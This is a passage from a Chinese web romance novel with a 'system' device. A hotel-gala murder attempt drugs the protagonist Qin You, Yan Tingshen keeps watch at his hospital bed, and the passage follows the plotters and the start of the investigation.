被这句话打断,项海峰看向身前的背影,只好应是。
秦游没在意项海峰的反应,继续走向严庭深。
特殊情况特殊对待,这里没有秦家人,他不需要太周全的保护,目标却不同。
不过目标对他的好感度停留在百分之三十三,这次任务最好不经过他的手。
只要人救回来,就算成功完成。至于失败的惩罚,他还有足够的能量值可以抵消。
—
“啊,孟总是吧?哈哈哈……哦不好意思,我还有事,先走一步。”
孟云哲脸上带着笑,等人转身,紧咬的牙关填进满腹的羞恼,让他愤怒烦躁。
一群狗眼看人低的老东西!
听完他的来处,再听到他的名字,就连寒暄都懒得表演,各个转头就走,根本不把他这个人放在眼里。
这群人只看重出身,只看重资源。
找不到姓孟的家族资本,他就像路边的野花一样无人问津。
他咬牙看向不远处、人群中央的严庭深,眼里裹着嫉恨。
是啊。
谁让他不姓严。
谁让他没有一个拿得出手的来历。
谁让他既没有家世,也不是新贵,天生低人一等!
凭什么?
除了出身,严庭深哪里比得上他?
孟云哲狠狠攥着拳,良久才平息下来。
他又看向严庭深身边的裴笙,之后目光一转,找到正走向严庭深的秦游,无声冷笑。
没关系。
他已经找到严庭深的软肋。
这么长的时间,不枉他每天等在停车场。
秦游。
对这个人的在意,超过严庭深对任何人的所有。
本来得知严庭深会和裴笙一起参加这场峰会,他是打算对裴笙动手,可没想到,秦游也会来,简直是天赐良机。
比起裴笙,严庭深肯定更在乎秦游的安危。
那就让他看一看,严庭深的在乎,究竟到了哪一步。
反正为了稳住祁新维,他总要对秦游下手,这样一来,一举两得。
麻烦的是——
孟云哲捏着手里的酒杯,接着看了看相隔不远的保镖。
对付秦游或是严庭深,不像对付一个落魄的裴笙,他不敢做得太明显,免得露出马脚,这两个人身边又有这么多安保,失败的概率也太大。
他做足了安排,也不能再过多冒险。
剩下的,只能交给天意了。
孟云哲吐出一口浊气,喝干杯里的酒,放下酒杯,调整好表情,也笑着走向落地窗。
祝我好运。
—
总裁当着宾客们的面开启开关,落地窗颤抖一下,忽然慢慢向外移动。
众人纷纷往前几步,地面也裂开一道缝隙,慢慢拉长。
“观景台是全玻璃制作,但请诸位放心,材质都是特殊定制,绝对能保证安全,如果不喜欢透视,地面可以换成非透明模式。”
随着酒店总裁介绍,位于底端的玻璃逐渐模糊,最终调整为和宴会厅地面同样的颜色。
上方这时也有一道玻璃缓缓落下,代替落地窗,播放着室外的景色,同时遮盖住观景台内的一切。
“为了客人的安全,这里每次最多只招待四人,这道门是为隐私设计。”
说到这,酒店总裁笑了笑,“当然,诸位也不用担心会被困在里面,整座观景室是由电力控制,随时可以开关,就算酒店停电,失去电源支撑,观景室会自动收回,这扇门也会自动升起。”
齐晏听着,笑了笑。
什么观景台,不就是方便生意人谈生意,搞一个噱头,其实充其量一个私密包厢而已。
为这点小事,还要特意把他和庭深请过来?
他转向严庭深,却见严庭深正看向右侧方向,不由也看过去,当即闭眼翻了个白眼。
又是秦游。
还隔着这么多人呢,这两位又对上眼了……
这时,一旁又传来总裁隐含讨好的声音:“严总,齐总,两位要不要去试一试?”
齐晏耸肩。
闲来无事,给个面子也不是不可以。
他先扯了扯裴笙的臂弯,才对严庭深说:“严总,别看了,人家请你过去呢。”
严庭深收回视线,转眼看到一旁立刻面露笑容的总裁,略一颔首。
四人一同走向门前。
不远处。
秦游看着严庭深的背影,微微皱眉,对项海峰示意。
项海峰于是对兄弟们打个手势,全都全神贯注,谨防意外发生。
秦游也往前几步。
但他刚到门侧,身后突然传来一声惊叫,紧接着是一阵重力撞了过来。
托盘和酒瓶酒杯摔落一地,秦游身上也洒了不少酒液。
“对不起对不起!”
侍者还没站稳,就白着脸惊惶地向秦游道歉。
秦游微侧过身,本想避开他下意识帮忙擦拭的动作,身后却一紧,转眼才看见,刚才一阵忙乱,不知什么时候,他的西装下摆被卷进了放出观景室的滑轨间隙。
观景室内。
听到动静,总裁满脸抱歉地告罪,才转身过去处理麻烦。
齐晏毫不在意,正拉着两人一起正欣赏外面的景色,门外忽然传来一道声音。
“那不是秦氏的秦总吗,出事了?”
闻言,严庭深蹙眉回身。
看到果然是秦游遇到麻烦,他正要过去,宴会厅内的灯光遽然一闪,随即全然黑了下去。
噔噔噔——
没了电力支撑,脚下这座观景室正在收起。
严庭深的心弦却倏地绷紧。
他拨开众人,加快脚步,在昏暗中大步流星走向秦游所在的方位。
这道滑轨可以支撑数吨重量,绝不是人力可以叫停,如果秦游没有及时脱困,非死即残。
秦游西装下摆被卷进滑轨的画面印在脑海,严庭深只是回想,呼吸不觉微重,他沉声开口:“秦游,你在哪?”
所幸,秦游的声音在下一秒响起。
“我在这。”
话落,秦游正要脱下外套,忽然闻到一股极致浓郁的刺鼻味道。
系统及时提醒:【宿主,检测到有毒物质,来源未知,无法提取。】
秦游已经屏息,却又在宾客的慌乱中被撞了一下。
“秦总!”
项海峰冲了过来。
秦游直觉头脑昏沉一瞬,再定神,目标的声音也响在身前。
“秦游,你怎么样?”
秦游借他的力道解下外套,隐约听到脚步声,强提力气,骤然把人拉到身边。
就在下一刻。
“噔”一声,有人撞在滑轨。
严庭深也和秦游一起撞在一旁墙面:“秦游?”
可身前没有回应。
感觉到掌下的身体正往下沉,严庭深神色越冷,呼吸越重,紧紧拥抱住秦游的手不由微微颤抖。
“秦游?”他的语气也渐渐焦灼,“秦游!”
秦游勉强睁眼。
昏暗里,他似乎看到目标那双急切的眼睛。
“我没事……”他再把人揽进怀里,声音轻得几乎无力,“别担心……”
听到秦游的声音,严庭深心弦却绷得更紧。
他紧紧回抱着秦游不断下滑的身体,单膝跪地,微颤的手往他身后摸索,万幸,没有血迹。
场中满是慌乱嘈杂的吵闹。
他只勉力倾听耳边熟悉的呼吸。
“别睡!”没有回应,严庭深双臂收得更紧,他也贴近秦游耳边,低沉的嗓音掩盖微乱的呼吸,早已不复平淡,“你在听我说话吗,秦游,别睡!”
第 46 章 他们现在应该不希望被打……
秦游再恢复意识时, 人已经躺在医院,还没睁眼,脑海里先传来系统的声音。
【呜呜呜宿主你终于醒了……】
系统说, 【你都昏迷了四个小时了!】
四个小时?
秦游皱眉按了按混沌的额前, 正要从床上起身,还感到轻微的晕眩。
【宿主,你不要起床了, 快躺下休息吧。】
系统忙说,【之前你吸入的气体含有神经性毒素, 幸好吸入得不多, 只是导致昏迷, 没有造成严重后果, 可是也需要休养的。】
秦游重又闭眼, 静心平复。
检测过宿主各项数据, 确认宿主没事, 系统的声音才终于恢复几分活力:【宿主, 你昏迷的时候是没有看见, 目标发现你昏过去, 特别关心你, 要不是他的好感度没变,我都怀疑他是不是爱上你了!】
秦游眼睑微动:【怎么回事?】
系统于是描述起四个小时前发生的事:【宿主你昏迷没多久,酒店的备用电源就亮了, 目标特别紧张地抱着你,看那个酒店负责人的眼神非常冰冷,带着三分寒芒,三分杀意,三分压迫——】
秦游打断了它:【说重点。】
【哦哦哦!】系统说, 【就是那个负责人被目标看了一眼,吓得半死,马上毕恭毕敬地赌咒发誓,说一定会协助警方调查这件事!】
秦游眉峰轻跳。
目标只是一个助理,酒店方怎么会对他毕恭毕敬?
【然后那个配角齐晏,看不出他人还挺好的,也一直在逼问那个负责人,说你的衣服为什么会被卷进滑轨,为什么一卷进去就停电,为什么他过来的时候还闻到空气里有异味,是不是有人恶意投毒,酒店的安保系统为什么会把这种东西放进来——等等等等,我听得都晕了……】
秦游了然:【齐晏一直和目标在一起?】
以齐晏的身份地位,酒店方自然不敢怠慢。
【一开始是这样的,后来他问得那个负责人说不出话来,就压着人直接去处理这件事了。】
系统没考虑太多,【而且不仅他帮你打抱不平,主角也表现不错,一直帮你里外联系急救之类的,但是他有点冷淡,过来的时候一句话也没说,看着你和目标,眼神也特别诡异,三分震惊,三分迷茫,三分妒忌——】
秦游道:【重点。】
【哦哦不好意思!】系统接着说,【反正他过来看到你和目标抱在一起,就转身走了,帮你联系医院。】
说到这,它还是没忍住,跑题分析起来,【宿主,我觉得我们的任务很有戏啊!你看主角,发现目标对你的感情非同一般,他开始觉醒了,他开始吃醋了!我们的计划开始发挥作用了!】
秦游记起有关主角的感情数据。
0.6%
这是他查到的初始数值。
经过这段时间的发酵,也许的确如系统所说,计划正在发挥作用。
这也吻合所谓的突破性进展。
不同于书中剧情,主角现在已经对目标怀有特殊情感。
任务未完成,说明主角还没意识到这份感情,需要外力继续刺激。
【当时到处都乱糟糟的,等急救过来,目标直接送你到顶楼上了直升机,其它谁都没理。】
系统说,【宿主,目标真的很担心你,之后来到医院,他又陪你做了所有检查,四个小时,除了接打电话和跟医生说话怕吵到你,其他时间一直没离开你身边!】
闻言,秦游缓缓睁开双眼。
回到门边的脚步声在这同时停下。
秦游循声看过去,正对上严庭深的视线。
系统补充:【刚才目标就是接到电话才出去的,否则肯定不会错过宿主你醒过来的时候,这都半夜了,他都还没睡呢。】
看着病床上睁眼望来的秦游,严庭深拿手机的手在不知不觉间收紧。
他往前走了两步,目光已不止一遍仔细端量过秦游的脸,直走到床边,他先按铃,才道:“醒了多久?”
语气似乎如常,却更轻,已经微微沙哑。
秦游看着他,也如常笑了笑,轻声说:“不到一分钟。”
严庭深扫过他微白的薄唇,看回他的双眼,又移开视线,帮他倒水时淡声说:“你中了毒,剂量不重,只需要休养一两天,不会有大碍。”
秦游抬手按住严庭深的动作。
严庭深微顿,回眸看他。
秦游笑说:“这么晚了,你怎么还守在这?”
严庭深不知道他恢复的状况,也没挣开他的手:“我没——”
但秦游的话还没说完:“去休息吧。”
严庭深看他一眼。
医护恰时赶到。
严庭深顺势拉下秦游的手,放回被面。
检查过后,医生对秦游解释过病情,又说:“今晚住院观察一夜,明天就可以出院了。”
对这两位声势浩大来到医院、门外还有保镖看守的重量级人物,他不敢多话,说完该说的,就告辞转身离开。
秦游也再转向严庭深:“放心了?”
严庭深在一旁沙发坐下,看向床边的监护仪,转而问他:“当时究竟怎么回事?”
秦游看出他还不打算回去,也没再勉强:“你应该看过监控了。我知道的和你一样多。”
系统也突然说:【哦对了宿主!你来到医院之后,任务也判定成功了,说明这次意外就是任务里那个,和目标有关,结果却莫名其妙地被你挡住了,而且目标还不知道危险是冲他来的呢,你又救了他一次,好感度一点都没涨!】
秦游早在“意外”发生的瞬间,已经猜到了二者之间的联系。
目前的情形,比系统说得更极端。
意外不是莫名其妙被他挡住。
对方要针对的显然不再是目标,而换成了他。
除非,在同一场晚宴,酝酿着两场精心谋划的设计,同时针对他和目标两个人。
这种巧合几乎不可能发生。
中止后再重启的任务,也是他断定这件事的根本。
任务期间,他没有为目标解除任何危机。
倘若被动脱离危机也算完成任务,那么他触发的第一个随机任务就不会判定失败。
何况,任务本身的变化外,内容也是重中之重。
触发的剧情节点,之前的每个任务都写明目标将遭遇的状况,只有这一次,重启的任务内容,没有“目标”两个字。
这些推测都只导向一个结果。
想暗中伤害目标的,确有其人。
这段时间他和目标日渐亲近,大概率早被盯上,从而发展到了今天。
但这个人、包括这个人坚持置目标于死地的意图,他一无所知。
他原本考虑借主角的势力一起查清。
不过从目标没再向他提起过车祸来看,那场事故,主角至今没能查出原因。
这位手段狠辣的严总,也是不堪大用。
算了。
为了这点合作和主角走近,得不偿失。
比起目标遭遇的一次暗杀,主角身边只会更多。
“撞你的服务生已经交代,当时他感觉身后有人推了他一把,监控也的确显示有人在他身后,不过当时人群拥挤,看不出推他的是谁,相关细节,还要看警察判断。”
秦游看向严庭深,听他说完,笑了一声:“难得听你一次说这么多话。”
严庭深微蹙起眉:“什么时候了,你还有心情跟我开玩笑?”
秦游道:“医生的话你听到了,我没——”
“你没事?”严庭深沉眸看他,语气也低沉微重,“你知不知道,如果当时你的动作再慢几秒,会是什么后果?”
秦游看着他。
看他点漆如墨的眉眼,看他眉眼间隐含的担忧——不知怎么,突然想起和他初见的第一面。
同样的一双丹凤眼睛,遭遇车祸、身受重伤,仍然深不见底,毫无波澜。
和此刻截然不同。
“难道你不明白?”严庭深蹙眉扣住他的手腕,迫使他专心,“有人想要你的命!”
秦游轻笑:“担心我?”
严庭深蹙眉愈深:“秦游!”
秦游无奈,缓声说:“我知道有人想要我的命,也知道当时有多凶险,可事情已经发生了,再去论如果,你认为有什么意义?”
严庭深掌下收紧。
他当然知道没意义。
如果。
这世上最没有意义的两个字。
他也当然知道秦游已经安全,那场险些成功的谋杀,对秦游造成的影响实际上微乎其微。
但秦游曾真切在他面前倒下。
就倒在他的怀里,无论如何也不再有丝毫回应。
过去的四个小时,他没有任何画面可供回想。
记忆里一团漆黑,嘈杂混乱的寂静里,他只听到秦游绵长无声的呼吸,和指腹下温热跳动的脉搏。除此以外,一无所有。
“你今晚已经很累了。”
秦游在严庭深的沉默里反握住他的手,“睡一觉吧。剩下的,明天再谈也不迟。”
针对目标的行动转移到他的身上,仅从任务的角度出发,其实不失为一件好事。
节点剧情基本是围绕目标的安全问题,其中人为的一部分转移到他身上,那么,至少他可以不再关注这一部分任务,也不需要考虑任务带来的好感度涨幅。
至于另一部分,有充足的能量值,足够抵消失败惩罚。
安全问题,就交给秦恒钟吧。
他这次会中招,归根结底,是他受任务的惯性误导。
误以为这次危机又是发生在目标身上,他不仅没有防备,还把身边所有安保调去保护目标安全。
这样的失误,只会有一次。
“不急。”严庭深说,“你刚醒,需要补充体力,先吃点东西吧。”
他把水杯递给秦游,也不再详谈。
他很了解秦游的性格。
之前在杉韵被祁向赫设计,秦游不肯深究;这一次,从秦游的态度来看,大约也不打算过多去理会这个麻烦。
但这一次和杉韵不同。
只差几秒,秦游就有丧命的可能。
他不会放任祁向赫,更不会放任一个对秦游满怀恶意的人逍遥法外。
念及此,严庭深看向秦游喝水时的侧脸。
片刻,他只说:“我帮你订了餐,再等一会。”
秦游把水杯递还给他,笑说:“好。”
—
门外。
齐晏对把守两侧的门神简单示意,推门走进病房。
穿过玄关,他刚进客厅,他还没到护理区,先看到护理区门外、靠墙倚站的裴笙。
“怎么不进去?”
齐晏正往前走,看到裴笙摇了摇头,不禁停在原地。
裴笙低头看了看手上的资料,又回想刚才听到的对话。
再次、一再感受到庭深对秦游的特殊,他的心还是不受控制,可也已经习惯。
将来可能会更习惯吧。
直到彻底习惯为止。
“走吧。”
他当先走向门外,对齐晏说,“小秦总已经醒了,他们——”
说到这,裴笙停了停。
“他们现在应该不希望被打扰。”
齐晏刚要转身。
听到这句话,他眼神一震。
不希望被打扰?
什么意思啊?
是他想的那种意思吗??
齐晏又看了一眼护理区紧闭的房门。
不是……
严总,人还病着呢,这不好吧……
第 47 章 离远一步都不放心。……
“视频看到了?”
祁新维看着手机里播放的视频, 看到宴会厅的备用电源亮起,背靠墙面、被严庭深揽在怀里、陷入昏迷的秦游,嘴角一勾, 又很快摇了摇头。
他说:“云哲, 我该说庆幸还是不幸,看样子我哥只是昏过去,连一点擦伤都没有。”
在电话里, 他没有把话说得太明显。
点到为止,两人都能听懂就够了。
孟云哲听出他的不满, 心里暗骂一句, 声音还很平静:“你哥确实运气很好, 听说断电之后他差点卷进滑轨, 如果不是严总及时赶到, 帮他把外套脱下来, 那他不死也是残废。”
祁新维看着视频里相拥的两人:“是啊, 我哥运气一直很好。”
不是运气好, 怎么会在国外当废物那么久, 回国摇身一变, 就成了秦氏总经理。
提起这个, 孟云哲也是皱眉。
他已经和人对接过,对方告诉他,事情本来进行得很顺利, 一切都和计划中一样,秦游的衣服卷进了滑轨,也吸入了足量迷药。
可事到临头,秦游好像毅力惊人,明明药的剂量就算不能让他立刻陷入昏迷, 至少也会让他晕眩脱力,可他脱衣服的动作也只是慢了一点,接头人说,没人帮忙,凭他自己可能就会脱困。
这种说辞,孟云哲当然不信。
肯定是下药的剂量太轻,否则以资料里的秦游,只知道花天酒地的废材,到了秦氏也整天不务正业,哪有什么毅力?
而且对方不仅是这一次失误。
他的要求是,困住秦游后,如果严庭深不来,那就直接撤退;如果严庭深赶来,就再动手一次,故技重施,让严庭深一起困在滑轨里。
他们两个人的关系不是很好吗?
不求同日生,能同日死,就当是他免费送给他们的祝福了。
可接头人又说,严庭深确实赶过来得很快,幸好他们有所准备,也按照原来的计划进行,没想到秦游竟然还有力气,拉走了严庭深,他们撞了个空,也不敢再动手,只能立刻撤退了。
如果不是不敢翻脸,孟云哲简直想不结尾款。
秦游还有力气?
他们是觉得他是傻子,还是把秦游当成神人?
视频里,秦游确实昏过去了,说明药的剂量轻了,也还是勉强够的。
可是第一,秦游都快昏迷了,哪里来的力气救人?第二,秦游又没有预知危险的能力,他怎么可能在黑暗里知道有人靠近,还知道会去撞严庭深,及时把人救走?
肯定是他们没想到严庭深去得太快,一时没准备好,直接撞歪了,之后为了糊弄他,特意编出这套说辞。
孟云哲的脸色阴沉一瞬。
两次失误,造成秦游和严庭深先后逃出生天。
他好不容易筹备的这场完美“意外”,最后竹篮打水一场空。
他不得不承认,他没有秦游的运气。
这些人把他当成冤大头,偏偏他没有一点办法。
“你还有什么打算?”
听到祁新维的话,孟云哲又皱眉:“你什么意思?”
祁新维说:“之前我说的事,只是这样,可远远比不上我弟受到的折磨。”
孟云哲的脸色更加难看:“比不上?”
他的声音再也维持不住平静,“祁新维,你知不知道,你口中的只是这样,让我付出了多大的代价!”
把对付的人从裴笙换成秦游,可不止是一句话那么简单。
单单是请来的人,他费尽千辛万苦才找到。
要知道,不是亡命之徒,谁敢对秦游和严庭深动手?
他没有办法,咬牙掏了整整五千万。
当时他想的是,哪怕这两个人不死,让严庭深受点伤,最好是人事不省,那他这笔钱也算花得物有所值。
可这五千万,最终只换来秦游不痛不痒的睡一觉,比打水漂还让他作呕,让他怎么能不恨!
而除了这笔钱,他还付出了不知多少心血。
这么大的代价,就换来轻飘飘的一句“比不上”?
祁新维竟然还想让他动手?
孟云哲咬着牙,脸上的表情几乎狰狞。
他压着盛怒,反而笑了一声:“为了你弟弟,我已经做了所有,祁新维,你真的想让我进去陪他吗?”
祁新维听到孟云哲的语气,也是一凛。
圆微梦倒了,他几乎失去一切,每每想到这一点,他实在义愤难平,看到秦游只是这样,他确实感到不满。
可听孟云哲的意思,为这件事也筹划了很多,估计不能接受再去冒险。
祁新维皱着眉。
那只能先算了。
向赫被羁押,没了公司的人脉,他能平起平坐的合作对象少之又少,孟云哲是他最好的选择,真的把人得罪,对他有弊无利。
“是我不好,刚才说得不对。”
祁新维说,“云哲,你也知道,我只是太关心向赫,你不要介意。”
孟云哲又笑了一声:“怎么会呢?”
之后再聊几句,他挂了电话。
看着黑屏的手机,他的脸色渐渐又阴沉。
祁新维这种货色,威胁他一次还不够,竟敢对他这么颐指气使。
果然是秦家不要的蠢货。
难道不明白,合作这么久,不是只有他有把柄。
孟云哲扔了手机。
他绝不能任由祁新维骑在他的头上。
既然你不仁,能就休怪我不义了。
—
次日。
上午。
秦游吃过早饭,崔凌和项海峰一起进门。
“小秦总。”崔凌一脸肃穆,把打开的电脑放在桌上,“这是昨晚的监控录像。”
秦游看过去。
画面很清晰,可以看到服务生突然踉跄一步,直直往他身上扑来,酒水洒了满地。
在服务生身后,是跟随四人走向观景室的人群,也有轻微的推搡,正是他们的动作,导致侍者不知被谁绊了一跤。
而这阵推搡的源头,源自监控死角,已经难以查到。
之后屏幕一黑,视频结束。
“后面酒店断电,监控也断了。”
项海峰随即把画面缩小,放出整个宴会厅当时的所有录像,“秦总,其余的我和兄弟们也都看过,对方肯定提前踩过点,全都避开了。”
秦游扫过屏幕。
监控视角内,除了他身边的风波,其余所有地方全部平安无事。
蓦地。
他的视线停在画面一角。
孟云哲端着酒杯独自走向观景室,期间路过几人,他主动打的招呼或被无视或被应付,最后还是独自站在角落,显得格格不入。
崔凌注意到他的视线:“我查了宾客名单,这个人叫孟云哲,也是京启人。”
秦游道:“具体资料。”
对于祁新维的朋友,他其实没理由怀疑,只是莫名的,他直觉孟云哲身上带有疑点。
崔凌也不明白秦游为什么会问起这样一个小人物。
幸好,昨晚宴会厅里的所有人,他都派人查了详细资料:“孟云哲是单亲家庭,父不详,但家里有点钱,可能也有点关系,从小上的都是一流的私立学校,尤其是他大学刚毕业就入职了钧闵,两年而已,已经是严经山的助理,并且和严经山私交很好。”
说完,他又补充,“严经山是钧闵市场部总监,传言是升任副总裁的热门候选。也是……严总的叔叔,曾经和严总一起争夺总裁的位置,没能成功。”
系统说:【主角叔叔的助理?难道就是这个人在暗中搞鬼?可是如果是他在搞鬼,那不应该对付主角吗,怎么会伤害目标呢?还蠢得差点害死了宿主你!】
秦游看着视频里的孟云哲。
系统这次提出的疑问可圈可点。
既然事关主角,怎么会牵扯到目标的任务,又怎么会临时改变计划,由设计目标,改成对他下手。
或许严家有人、或孟云哲自己,和目标有纠葛;
也或许其中还有他并不了解的关窍。
当然,对孟云哲的怀疑只是他的一时起意,这件事极有可能和孟云哲无关。
在公共场合动手,风险很高,稍有不慎就会作茧自缚。
毕竟没有人能未卜先知,猜到他会把所有人调到目标身边。
安保出现漏洞,才是这场设计险些成功的关键因素。
但在宴会厅内,除他的交代,显然没有任何试图引走保镖的行动。
对方如果真的来自严家,对他或主角身边的防护力量应该很了解,怎么会去赌这种结果。
“严经山这次没来参加峰会。”
见秦游还没开口,崔凌接着说,“孟云哲这次参加峰会的名额,和住在这家酒店的资格,都是以严经山的名义。”
对孟云哲这号名不见经传的人物会出现在酒店里,他也怀疑过,查到这层关系才不了了之。
钧闵副总监的名额,入住这家酒店绰绰有余。
可孟云哲可以凭关系入住,却不能一直打着严经山的旗号,从他在宴会厅处处碰壁就看得出来,就算强行冲进不属于自己的圈子,没有足够自给自足的底气,也不会交融。
闻言,秦游也收回视线:“这件事,董事长知道吗?”
崔凌摇头:“还不知道。”
秦游道:“通知他。”
他在半个月前就得知峰会举办,其他人想必相差不多,有足够的时间到这里踩点,查起来更是耗时耗力。
这样的麻烦事,他不打算经手。
一旁的项海峰心里不免忐忑。
这次老板被人设计,严格追究起来,他还有失职的责任。
要不是他离开岗位,注意力全都放在另一个人身上,也不会到现在都找不到一个可疑的人。
到了秦老面前,说起来龙去脉,他肯定要被责问。
“秦总,我……”
秦游看出他的为难:“告诉董事长,当时我正和严庭深聊天,禁止任何人靠近。”
崔凌下意识瞄他一眼。
不是不允许任何人干涉和严庭深之间的事吗,怎么现在又能说了?
二世祖总是这样。
只许州官放火不许百姓点灯。
项海峰却满脸感激:“秦总,我——”
秦游抬手,打断了他:“事故会发生,是我的原因,与你无关。接着去查吧,准备好和董事长的人交接。”
项海峰连连点头:“是!”
秦游再转向崔凌:“如果董事长问起,我还需要休息,不宜打扰。”
“……”崔凌说,“好的。”
他和项海峰继续汇报完关于昨晚的事,才转身离开。
出门没多久,他转弯时才看见,严庭深正从隔壁病房出来,看去的方向,又是去找二世祖。
说起来,也不知道这两位到底发展到哪一步了,看着情真意切的。
想到昨晚严庭深竟然把医院当成酒店,住进了隔壁的空病房,崔凌就满腔复杂。
昨晚他亲眼见到严庭深在秦游昏迷后的样子,这一看就知道,离远一步都不放心。
谈了吧?
不谈没有这种如胶似漆的感觉。
当初得知秦游想追严庭深,他只当成天方夜谭,甚至只等着秦游败兴回来,好安心继承家业。
可眼睁睁看着两个人越走越近,感情越来越好——
二世祖果然还是有远见。
这两个人要谈情说爱,这件事被董事长知道,肯定是一场天翻地覆。
—
“进。”
看到严庭深从门外进来,秦游不觉轻笑:“来得这么早?”
严庭深说:“你怎么样?”
秦游从桌前起身,笑问:“你看我怎么样?”
严庭深说:“不要太大意,有任何不舒服,及时告诉医生。”
秦游失笑:“你把我当成几岁?”
严庭深看他一眼:“讳疾忌医,不超过五岁。”
秦游又笑了两声。
严庭深越过他,打开他的电脑,再点开刚才收到的文件:“昨晚宴会厅内的所有人,包括工作人员,我都已经派人去查,你过来看一眼,有没有你认识的人。”
秦游看着他的背影。
【唉宿主,你还是太有魅力了。】
系统也在说话,【目标这么关心你,为你忙前忙后,我打包票,他肯定肯定爱上你了!】
第 48 章 昨晚,是不是吓到你了?……
秦游没理会系统的胡言乱语, 走到严庭深身旁,无奈道:“这些,刚才崔凌已经给我看过了。”
严庭深不为所动, 淡声道:“那就再看一遍。”
秦游只好和他一起坐下。
严庭深先打开监控:“既然你的助理来过, 他应该跟你提起,昨晚针对你的那场——”
话到这,他点在键盘的手微一停顿, 语气不变,“那次行动, 分工明确, 是团队作案。”
秦游转眼看他。
听得出来, 他的话刻意避开了“谋杀”两个字。
是担心勾起不好的回忆, 还是单纯不愿意说出口?
严庭深却没看他:“他们作风很老练, 没留下多少痕迹, 宴会厅所有进出口也没有异常, 凶手只能是宴会厅内的人。”
目标会了解这些底细, 秦游并不意外。
他知道目标和主角不仅是上下属关系, 更是从小一起长大的朋友, 加上他对主角也算是有过救命之恩, 为了帮他,放权让目标去调查这件事,顺理成章。
但一整晚过去, 有用的线索不多,本身就说明这件事没那么简单。
他让崔凌通知秦恒钟,也有这方面的考量。
除省去他的麻烦外,有些崔凌做不到的事,秦恒钟却未必。
秦氏集团的实权还掌握在老爷子手里, 有秦恒钟出马,其实比他亲身上阵更有用。
只是这些没必要和目标解释,他笑说:“没想到,你还有做侦探的潜力。”
“认真点。”严庭深蹙眉看他一眼,“这里面有大部分人都是今天结束行程,没有嫌疑,警方没理由把人全部留下。我们的时间很有限。”
秦游不以为意:“这些交给崔凌就好了。”
严庭深眉间刻痕更深,语气微沉:“你打算把自己的命交给别人?”
“我的命还在呢。”
秦游笑着和他对视,“我不是好好的坐在你面前吗?”
严庭深道:“我没跟你开玩笑。我今天下午回京启,返程之前,同步给你的所有资料,你必须全部看完。”
秦游道:“你不是上午回去?”
严庭深收回视线,似乎没听到这个问题,转而放大众人推搡间的监控死角:“这里,我刚才收到消息,警方不久前发现地毯下有潮痕,也查出之前有人担心会受牵连,没说出实情。这个人确实踩到了什么,不慎引起连锁反应,警方推测,应该是碎冰。”
秦游看了看他,也没追问,顺着他的话说:“这条线索有迹可循?”
严庭深说:“目前没有。”
话落,他又点开另一份文件。
是宴会厅内所有人员的详细资料。
“看清楚。”
秦游看了几张图,发现这份资料和崔凌给他的相比,除了家庭背景,还多了一项个人数据。包括身高体重。
不过总体没有太大差别,他本想不看,转眼对上严庭深的视线,只能依言照做。
当图片滑到其中一张,秦游扫过这张脸,又随意看过照片下附的资料,正要翻到下一页,忽地一顿。
严庭深立刻察觉:“怎么,他有问题?”
他看到照片的第一眼,就认出这是撞到秦游的服务生,李丁。
李丁是直接撞向秦游的人,最有作案嫌疑。
但他查到的资料,对方只是一个普通人,没有任何作案动机,没有任何异常资金往来;面对警方询问,也只有适当的担心害怕,没有惊慌失措。几乎已经被排除。
秦游仍看着资料内注明的身高。
一米七二。
虽然他和这个工作人员相对的时间不长,对方也在站稳后第一时间鞠躬道歉,但从视觉出发,应该在一米七五以上。
他把疑点告诉严庭深,作势拿起手机:“我让崔凌想办法确认一下。”
严庭深的声音又从身侧响起:“我来吧。放心,我的人就在附近,他跑不远。”
有人愿意主动揽下麻烦,秦游又顺势放下手机:“那就麻烦你了。”
严庭深的电话已经拨出去。
齐晏很快接听:“……什么吩咐?”
严庭深说:“配合警方查清楚李丁的身高体重,现场拍一组他的照片,重新人脸识别。”
“你怀疑他不是本人?”齐晏说,“酒店的录像不是识别过了吗?”
严庭深说:“尽快给我结果。”
“……”齐晏面无表情地说,“行。”
严庭深挂了电话,又看向继续翻看图片的秦游,直到结束浏览,才开口:“只有他?”
秦游颔首:“除了你们几个,这些人我都不认识。”
严庭深说:“不要紧,有一点线索就够了。剩下的,我去解决。”
闻言,秦游看向他。
严庭深没注意到秦游的视线:“返程之前,你留在医院,暂时不要外出,回去后也注意防范,他们会对你动手一次,难保不会有第二次,不要放松警惕。”
秦游看着他在检查资料时专注的侧脸。
也许只是错觉。
这次来到苍滨,即便时间不长,目标却似乎变了很多。
至少,放在之前,他的情绪不会这样外露;不会这样强制性地要求他“必须”做到什么;更不会把关心诉诸于口,这样一再强调,一再担忧。
他总是做得比说得更多。
会说出口,只能说明已经做到极致。
“你——”
久没听到秦游的回应,严庭深蹙眉回眼,正要什么,对上秦游的眼神,他薄唇微抿,又移开视线,再开口时,语气已经平淡如初。
“你不顾及自己的身体,也该顾及自己的命,记住,这件事没调查清楚,不论做什么,都要小心为上。”
秦游唇边早已悄然牵起笑意:“我知道。”
严庭深重看着电脑屏幕,却没再动作。
秦游的声音很快又传到耳边。
“昨晚,是不是吓到你了?”
严庭深掌下微紧,随即松开:“没有。”
秦游看着眼前这张看似冷漠的脸,笑说:“那就好。”
其实昨晚昏迷之前,他听到目标的声音,听到他让他“别睡”,他也试图清醒,可惜事与愿违。
那个瞬间,那种情形,换作是他,恐怕也很难不多想。
所以他不介意目标强行介入,也明白目标对他的不放心。
作为朋友,他不希望目标受到伤害。
同样的,目标刚经历过他被设计,一时紧张,在所难免。
严庭深忽而开口:“昨晚的事,秦老了解多少?”
秦游听出这句话里想转移话题的含义。
没办法。
他的目标一向情感内敛,很不习惯太感性的交流。
他笑了笑,从善如流:“我已经让崔凌去通知,这个时间,应该已经全部了解。”
话音刚落。
桌上的手机响起来电铃声。
秦游看到来电显示,又笑一声,对严庭深示意:“等我一会,我需要汇报工作。”
严庭深看着他接起电话。
听着他轻描淡写地提起昨晚的惊心动魄,不由又转向屏幕。
监控里,秦游卷进滑轨的衣角清晰可见。
那件外套在备用电源启动后被工作人员取了出来,已经千疮百孔,也在脑海里清晰浮现。
倏地,严庭深抬手关了页面。
他没有被昨晚吓到。
他只是,不希望同样的事再度发生。不希望再见到那一幕。
秦游很快挂断通话。
没多久,桌上的两部手机前后响起。
秦游和严庭深对视一眼,各自接了电话。
“小秦总,那个李丁有问题!”刚接通,崔凌的声音就冲出来,“齐总跟我说他和资料可能有点对不上,我们就和警方一起去了他家里,结果听完要求,他趁我们不注意,直接砸了窗户差点跳下去,后来把他拦下来,才发现他嘴里有毒药,试图自杀,现在已经送去医院了。”
秦游听完,看向严庭深,显然两通电话都是同样的内容。
他问:“董事长知道吗?”
